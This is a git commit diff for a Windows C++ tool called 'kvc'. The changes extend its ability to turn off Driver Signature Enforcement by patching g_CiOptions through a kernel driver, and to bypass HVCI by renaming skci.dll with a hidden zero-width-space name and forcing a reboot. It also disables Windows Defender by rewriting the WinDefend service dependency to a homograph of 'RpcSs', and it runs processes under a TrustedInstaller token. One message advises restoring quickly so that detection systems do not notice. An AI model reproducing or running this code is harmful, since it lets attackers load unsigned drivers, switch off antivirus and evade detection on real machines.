Aktualizacja: 2025-10-19 02:17:38

This commit is contained in:
wesmar
2025-10-19 02:17:38 +02:00
parent e4d12fc1df
commit b6c670f485
13 changed files with 435 additions and 279 deletions

View File

@@ -18,16 +18,22 @@ Controller::~Controller() {
// Atomic operation cleanup - critical for BSOD prevention // Atomic operation cleanup - critical for BSOD prevention
bool Controller::PerformAtomicCleanup() noexcept { bool Controller::PerformAtomicCleanup() noexcept {
INFO(L"Starting atomic cleanup procedure..."); DEBUG(L"Starting atomic cleanup procedure...");
// 1. First, close the connection to the driver // 1. First, close the connection to the driver
if (m_rtc) { if (m_rtc && m_rtc->IsConnected()) {
DEBUG(L"Cleaning up driver connection..."); DEBUG(L"Force-closing driver connection...");
m_rtc->Cleanup(); // This ensures the handle is properly closed m_rtc->Cleanup();
} }
// 2. Wait for resources to be released // 2. Wait for resources to be released
Sleep(100); // Only for USB Debug Sleep(200);
// CHECK IF THE SERVICE IS A ZOMBIE
if (IsServiceZombie()) {
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
return true;
}
// 3. Stop the service (if it exists) // 3. Stop the service (if it exists)
DEBUG(L"Stopping driver service..."); DEBUG(L"Stopping driver service...");
@@ -63,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
} }
CloseServiceHandle(hSCM); CloseServiceHandle(hSCM);
} }
Sleep(100); // Only for USB Debug Sleep(100);
} }
} }
// 5. Wait again for safety // 5. Wait again for safety
Sleep(100); // Only for USB Debug Sleep(100);
// 6. Only uninstall if the service is confirmed to be stopped // 6. Only uninstall if the service is confirmed to be stopped
if (serviceVerified) { if (serviceVerified) {
@@ -79,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
} }
// 7. Reinitialize for subsequent operations // 7. Reinitialize for subsequent operations
Sleep(100); // Only for USB Debug Sleep(100);
m_rtc = std::make_unique<kvc>(); m_rtc = std::make_unique<kvc>();
SUCCESS(L"Atomic cleanup completed successfully"); DEBUG(L"Atomic cleanup completed successfully");
return true; return true;
} }
@@ -104,9 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
// Core driver availability check with fallback mechanisms // Core driver availability check with fallback mechanisms
bool Controller::EnsureDriverAvailable() noexcept { bool Controller::EnsureDriverAvailable() noexcept {
// Phase 1: Check if the driver is already available (without testing) if (IsServiceZombie()) {
DEBUG(L"Service zombie detected - cannot reload driver safely");
return false; // AVOID BSOD - do not reload the driver
}
// Phase 1: Check if the driver is already available (without testing)
ForceRemoveService(); ForceRemoveService();
Sleep(100); // Only for USB Debug Sleep(100);
if (IsDriverCurrentlyLoaded()) { if (IsDriverCurrentlyLoaded()) {
return true; return true;
} }
@@ -129,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
CloseServiceHandle(hSCM); CloseServiceHandle(hSCM);
// Give it time to start // Give it time to start
Sleep(100); // Only for USB Debug Sleep(100);
// Check if it's running now (without a test read) // Check if it's running now (without a test read)
if (m_rtc->Initialize() && m_rtc->IsConnected()) { if (m_rtc->Initialize() && m_rtc->IsConnected()) {
@@ -138,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
} }
// Phase 3: Install a new driver (ONLY if necessary) // Phase 3: Install a new driver (ONLY if necessary)
INFO(L"Initializing kernel driver component..."); DEBUG(L"Initializing kernel driver component...");
if (!InstallDriverSilently()) { if (!InstallDriverSilently()) {
ERROR(L"Failed to install kernel driver component"); ERROR(L"Failed to install kernel driver component");

View File

@@ -2,6 +2,73 @@
#include "common.h" #include "common.h"
bool Controller::DisableDSE() noexcept { bool Controller::DisableDSE() noexcept {
// Check if HVCI bypass already prepared (pending reboot)
HKEY hKey = nullptr;
bool bypassPending = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
bypassPending = true;
// Verify the renamed file actually exists
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
// File doesn't exist - state is stale/invalid
bypassPending = false;
DEBUG(L"Stale bypass state detected - skci.dlI not found");
}
}
}
}
RegCloseKey(hKey);
hKey = nullptr;
}
// If bypass already prepared, prompt for reboot without touching driver
if (bypassPending) {
std::wcout << L"\n";
INFO(L"HVCI bypass already prepared from previous session");
INFO(L"System reboot is required to complete the bypass");
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true;
}
// Normal flow - proceed with driver operations
PerformAtomicCleanup(); PerformAtomicCleanup();
if (!BeginDriverSession()) { if (!BeginDriverSession()) {
@@ -49,15 +116,13 @@ bool Controller::DisableDSE() noexcept {
if (hvciEnabled) { if (hvciEnabled) {
std::wcout << L"\n"; std::wcout << L"\n";
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue); INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
INFO(L"Direct kernel memory patching blocked by hypervisor"); INFO(L"Preparing secure kernel deactivation (fully reversible)...");
INFO(L"Initiating non-invasive HVCI bypass strategy...");
std::wcout << L"\n"; std::wcout << L"\n";
SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)"); SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
INFO(L"No files will be permanently modified or deleted"); INFO(L"No files will be permanently modified or deleted");
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted");
std::wcout << L"\n"; std::wcout << L"\n";
DEBUG(L"Closing driver handle before file operations..."); DEBUG(L"Closing driver handle before file operations...");
@@ -66,10 +131,10 @@ bool Controller::DisableDSE() noexcept {
DEBUG(L"Unloading and removing driver service..."); DEBUG(L"Unloading and removing driver service...");
EndDriverSession(true); EndDriverSession(true);
DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename..."); DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
if (!m_dseBypass->RenameSkciLibrary()) { if (!m_dseBypass->RenameSkciLibrary()) {
ERROR(L"Failed to rename skci.dll"); ERROR(L"Failed to prepare hypervisor bypass");
return false; return false;
} }
@@ -82,12 +147,10 @@ bool Controller::DisableDSE() noexcept {
ERROR(L"Failed to create RunOnce entry"); ERROR(L"Failed to create RunOnce entry");
return false; return false;
} }
SUCCESS(L"HVCI bypass prepared - reboot required");
SUCCESS(L"HVCI bypass prepared successfully"); INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
INFO(L"System will disable hypervisor on next boot"); INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
INFO(L"Reboot required to complete DSE bypass"); INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
INFO(L"After reboot, DSE will be automatically disabled");
std::wcout << L"\n"; std::wcout << L"\n";
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: "; std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice; wchar_t choice;
@@ -95,7 +158,23 @@ bool Controller::DisableDSE() noexcept {
if (choice == L'Y' || choice == L'y') { if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot..."); INFO(L"Initiating system reboot...");
system("shutdown /r /t 0");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
} }
return true; return true;
@@ -132,7 +211,88 @@ bool Controller::RestoreDSE() noexcept {
} }
bool Controller::DisableDSEAfterReboot() noexcept { bool Controller::DisableDSEAfterReboot() noexcept {
PerformAtomicCleanup();
// Check if this is actually post-reboot or just pending bypass
HKEY hKey = nullptr;
bool actuallyPostReboot = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
// Check if skci.dlI still exists (means we haven't rebooted yet)
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
actuallyPostReboot = true; // File exists = real post-reboot
}
}
}
RegCloseKey(hKey);
}
// If skci.dlI doesn't exist, user hasn't rebooted yet
if (!actuallyPostReboot) {
std::wcout << L"\n";
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
INFO(L"Please reboot to complete the bypass process");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true; // Exit WITHOUT touching driver
}
PerformAtomicCleanup();
if (!BeginDriverSession()) { if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for post-reboot DSE bypass"); ERROR(L"Failed to start driver session for post-reboot DSE bypass");

View File

@@ -93,7 +93,7 @@ bool DSEBypass::DisableDSE() noexcept {
return false; return false;
} }
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
INFO(L"No restart required - unsigned drivers can now be loaded"); INFO(L"No restart required - unsigned drivers can now be loaded");
return true; return true;
} }
@@ -151,8 +151,8 @@ bool DSEBypass::RestoreDSE() noexcept {
return false; return false;
} }
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"No restart required - kernel protection reactivated"); INFO(L"Kernel protection reactivated - no restart required");
return true; return true;
} }
@@ -350,8 +350,8 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
return false; return false;
} }
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll"; std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str()); DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
@@ -360,12 +360,12 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
return false; return false;
} }
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot"); SUCCESS(L"Windows hypervisor services temporarily suspended");
return true; return true;
} }
bool DSEBypass::RestoreSkciLibrary() noexcept { bool DSEBypass::RestoreSkciLibrary() noexcept {
DEBUG(L"Restoring skci.dll from skci.dlI"); DEBUG(L"Restoring skci.dll");
wchar_t sysDir[MAX_PATH]; wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) { if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
@@ -373,7 +373,7 @@ bool DSEBypass::RestoreSkciLibrary() noexcept {
return false; return false;
} }
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI"; std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll"; std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
// Admin rights sufficient for restore (no hypervisor running) // Admin rights sufficient for restore (no hypervisor running)
@@ -554,8 +554,8 @@ bool DSEBypass::DisableDSEAfterReboot() noexcept {
// Step 3: Cleanup // Step 3: Cleanup
ClearDSEState(); ClearDSEState();
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Hypervisor bypassed and skci.dll restored"); SUCCESS(L"Hypervisor bypassed and library restored");
return true; return true;
} }

View File

@@ -30,7 +30,7 @@ bool DefenderManager::EnableSecurityEngine() noexcept
return ModifySecurityEngine(true); return ModifySecurityEngine(true);
} }
// Queries current Windows Defender state by checking RpcSs (enabled) or RpcSt (disabled) in service dependencies // Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
{ {
try { try {
@@ -44,7 +44,7 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
if (values.empty()) return SecurityState::UNKNOWN; if (values.empty()) return SecurityState::UNKNOWN;
// Check if RpcSs (active) or RpcSt (inactive) is present // Check if RpcSs (active) or RpcSs\x200B (inactive) is present
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end(); bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end(); bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
@@ -155,7 +155,7 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
return true; return true;
} }
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSt // Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
{ {
HKEY tempKey; HKEY tempKey;
@@ -174,10 +174,10 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
// Transform RPC service dependency // Transform RPC service dependency
for (auto& value : values) { for (auto& value : values) {
if (enable && value == RPC_SERVICE_INACTIVE) { if (enable && value == RPC_SERVICE_INACTIVE) {
value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable) value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
} }
else if (!enable && value == RPC_SERVICE_ACTIVE) { else if (!enable && value == RPC_SERVICE_ACTIVE) {
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable) value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
} }
} }

View File

@@ -14,11 +14,11 @@ public:
// Security engine state based on WinDefend service dependency // Security engine state based on WinDefend service dependency
enum class SecurityState { enum class SecurityState {
ENABLED, // Defender engine active (RpcSs) ENABLED, // Defender engine active (RpcSs)
DISABLED, // Defender engine inactive (RpcSt) DISABLED, // Defender engine inactive (RpcSs\x200B)
UNKNOWN // State could not be determined UNKNOWN // State could not be determined
}; };
// Disable Windows Defender by changing service dependency to RpcSt (requires admin + restart) // Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
static bool DisableSecurityEngine() noexcept; static bool DisableSecurityEngine() noexcept;
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart) // Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
@@ -54,7 +54,7 @@ private:
// Create temporary Services hive snapshot and load it under HKLM\Temp // Create temporary Services hive snapshot and load it under HKLM\Temp
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept; static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
// Switch WinDefend DependOnService between RpcSt and RpcSs inside temp hive // Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept; static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
// Unload temp hive and restore modified snapshot to live Services key (critical operation) // Unload temp hive and restore modified snapshot to live Services key (critical operation)
@@ -71,5 +71,5 @@ private:
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services"; static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService"; static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs"; static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt"; static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
}; };

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -250,7 +250,7 @@ int wmain(int argc, wchar_t* argv[])
else if (command == L"dse") { else if (command == L"dse") {
// No parameter = check status // No parameter = check status
if (argc < 3) { if (argc < 3) {
INFO(L"Checking Driver Signature Enforcement status..."); DEBUG(L"Checking Driver Signature Enforcement status...");
ULONG_PTR ciOptionsAddr = 0; ULONG_PTR ciOptionsAddr = 0;
DWORD value = 0; DWORD value = 0;
@@ -267,29 +267,22 @@ int wmain(int argc, wchar_t* argv[])
INFO(L"DSE Status Information:"); INFO(L"DSE Status Information:");
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr); INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
INFO(L"g_CiOptions value: 0x%08X", value); INFO(L"g_CiOptions value: 0x%08X", value);
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
std::wcout << L"\n"; std::wcout << L"\n";
// Check for HVCI/VBS first // Check for HVCI/VBS first
if (hvciEnabled) { if (hvciEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED"); SUCCESS(L"Driver signature enforcement: ENABLED");
std::wcout << L"\n"; // ... HVCI info
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000)); }
INFO(L"Hypervisor protection active - direct memory patching blocked"); else if (dseEnabled) {
INFO(L"HVCI bypass available via non-invasive library method"); SUCCESS(L"Driver signature enforcement: ENABLED");
INFO(L"Requires system restart to complete bypass workflow"); INFO(L"Only signed drivers allowed");
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass"); INFO(L"Use 'kvc dse off' to disable protection");
} } else {
else if (dseEnabled) { INFO(L"Driver signature enforcement: DISABLED");
SUCCESS(L"Driver Signature Enforcement: ENABLED"); INFO(L"Unsigned drivers allowed");
INFO(L"Kernel protection active - only signed drivers allowed"); INFO(L"Use 'kvc dse on' to restore kernel protection");
INFO(L"DSE bypass available without restart - use 'kvc dse off'"); }
} else {
INFO(L"Driver Signature Enforcement: DISABLED");
INFO(L"System security reduced - unsigned drivers allowed");
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
}
std::wcout << L"\n"; std::wcout << L"\n";
return 0; return 0;
@@ -298,7 +291,6 @@ int wmain(int argc, wchar_t* argv[])
std::wstring_view subCmd = argv[2]; std::wstring_view subCmd = argv[2];
if (subCmd == L"off") { if (subCmd == L"off") {
// Check if this is post-reboot execution
HKEY hKey; HKEY hKey;
bool postReboot = false; bool postReboot = false;
@@ -310,26 +302,11 @@ int wmain(int argc, wchar_t* argv[])
if (RegQueryValueExW(hKey, L"State", NULL, NULL, if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) { reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) { if (wcscmp(state, L"AwaitingRestore") == 0) {
// Check if skci.dlI exists postReboot = true;
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI";
DWORD attrs = GetFileAttributesW(checkPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
// skci.dlI doesn't exist - stale registry entry
RegCloseKey(hKey);
DEBUG(L"Stale registry state detected, clearing...");
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE");
hKey = nullptr;
} else {
postReboot = true;
}
} }
} }
if (hKey) {
RegCloseKey(hKey); RegCloseKey(hKey);
}
} }
if (postReboot) { if (postReboot) {
@@ -342,7 +319,7 @@ int wmain(int argc, wchar_t* argv[])
} }
} else { } else {
DEBUG(L"Normal DSE disable request"); DEBUG(L"Normal DSE disable request");
INFO(L"Disabling Driver Signature Enforcement..."); INFO(L"Disabling driver signature enforcement...");
if (!g_controller->DisableDSE()) { if (!g_controller->DisableDSE()) {
ERROR(L"Failed to disable DSE"); ERROR(L"Failed to disable DSE");
@@ -350,21 +327,17 @@ int wmain(int argc, wchar_t* argv[])
} }
} }
SUCCESS(L"DSE disabled successfully!"); //wesmar-debug: INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
INFO(L"You can now load unsigned drivers");
INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
return 0; return 0;
} }
else if (subCmd == L"on") { else if (subCmd == L"on") {
INFO(L"Restoring Driver Signature Enforcement..."); INFO(L"Restoring driver signature enforcement...");
if (!g_controller->RestoreDSE()) { if (!g_controller->RestoreDSE()) {
ERROR(L"Failed to restore DSE"); ERROR(L"Failed to restore DSE");
return 2; return 2;
} }
return 0;
SUCCESS(L"DSE restored successfully!");
return 0;
} }
else { else {
ERROR(L"Unknown DSE command: %s", subCmd.data()); ERROR(L"Unknown DSE command: %s", subCmd.data());
@@ -410,7 +383,7 @@ int wmain(int argc, wchar_t* argv[])
ERROR(L"Failed to stop service"); ERROR(L"Failed to stop service");
} }
Sleep(500); // Only for service debug Sleep(500);
INFO(L"Starting service..."); INFO(L"Starting service...");
bool started = ServiceManager::StartServiceProcess(); bool started = ServiceManager::StartServiceProcess();

View File

@@ -8,6 +8,8 @@
#include <algorithm> #include <algorithm>
#include <cctype> #include <cctype>
#include <filesystem> #include <filesystem>
#include <string_view>
#include <span>
namespace fs = std::filesystem; namespace fs = std::filesystem;
@@ -61,14 +63,14 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator()
// CORE TOKEN MANAGEMENT // CORE TOKEN MANAGEMENT
// ============================================================================ // ============================================================================
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName) BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName)
{ {
HANDLE hToken; HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE; return FALSE;
LUID luid; LUID luid;
if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) { if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) {
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
} }
@@ -128,7 +130,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService()
SERVICE_STATUS_PROCESS statusBuffer; SERVICE_STATUS_PROCESS statusBuffer;
DWORD bytesNeeded; DWORD bytesNeeded;
const DWORD timeout = 30000; const DWORD timeout = 3000;
DWORD startTime = GetTickCount(); DWORD startTime = GetTickCount();
while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
@@ -231,7 +233,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
g_cachedTrustedInstallerToken = hDuplicatedToken; g_cachedTrustedInstallerToken = hDuplicatedToken;
g_lastTokenAccessTime = currentTime; g_lastTokenAccessTime = currentTime;
SUCCESS(L"TrustedInstaller token cached successfully"); DEBUG(L"TrustedInstaller token cached successfully");
return g_cachedTrustedInstallerToken; return g_cachedTrustedInstallerToken;
} }
@@ -239,42 +241,40 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
// PROCESS EXECUTION // PROCESS EXECUTION
// ============================================================================ // ============================================================================
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine)
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) return FALSE; if (!hToken) return FALSE;
wchar_t* mutableCmd = _wcsdup(commandLine); // Convert string_view to mutable string for CreateProcessWithTokenW
if (!mutableCmd) return FALSE; std::wstring mutableCmd{commandLine};
STARTUPINFOW si = { sizeof(si) }; STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi; PROCESS_INFORMATION pi;
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi); BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi);
if (result) { if (result) {
CloseHandle(pi.hProcess); CloseHandle(pi.hProcess);
CloseHandle(pi.hThread); CloseHandle(pi.hThread);
} }
free(mutableCmd);
return result; return result;
} }
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine)
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) return FALSE; if (!hToken) return FALSE;
wchar_t* mutableCmd = _wcsdup(commandLine); std::wstring mutableCmd{commandLine};
if (!mutableCmd) return FALSE;
STARTUPINFOW si = { sizeof(si) }; STARTUPINFOW si = { sizeof(si) };
si.dwFlags = STARTF_USESHOWWINDOW; si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi; PROCESS_INFORMATION pi;
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (result) { if (result) {
DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000);
@@ -291,7 +291,6 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid
CloseHandle(pi.hThread); CloseHandle(pi.hThread);
} }
free(mutableCmd);
